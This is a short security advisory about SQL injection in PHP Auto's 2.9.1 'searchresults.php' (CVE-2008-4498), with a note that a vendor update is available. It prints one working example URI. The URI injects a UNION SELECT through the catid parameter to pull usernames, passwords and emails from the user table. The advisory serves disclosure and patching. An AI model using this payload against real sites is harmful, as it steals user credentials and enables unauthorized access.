PHP Auto's 'searchresults.php' SQL Injection Vulnerability

Bugtraq ID:	31622
Class:	Input Validation Error
CVE:	CVE-2008-4498
Remote:	Yes
Local:	No
Published:	Oct 07 2008 12:00AM
Updated:	May 07 2015 05:22PM
Credit:	Mr.SQL
Vulnerable:	PHP Auto's PHP Auto's 2.9.1
Not Vulnerable:	PHP Auto's PHP Auto's 2.9.3

PHP Auto's 'searchresults.php' SQL Injection Vulnerability

PHP Auto's is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHP Auto's 2.9.1 is vulnerable; other versions may also be affected.

PHP Auto's 'searchresults.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/searchresults.php?catid=-1'/**/UNION/**/SELECT/**/0,0,CONCAT_WS(0x3a,username,password,email)MrSQL,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+tblusers/*

PHP Auto's 'searchresults.php' SQL Injection Vulnerability

Solution:
A vendor update is available. Contact the vendor for details on obtaining the appropriate updates.

PHP Auto's 'searchresults.php' SQL Injection Vulnerability

References:

• PHP Auto's Homepage (PHP Auto's)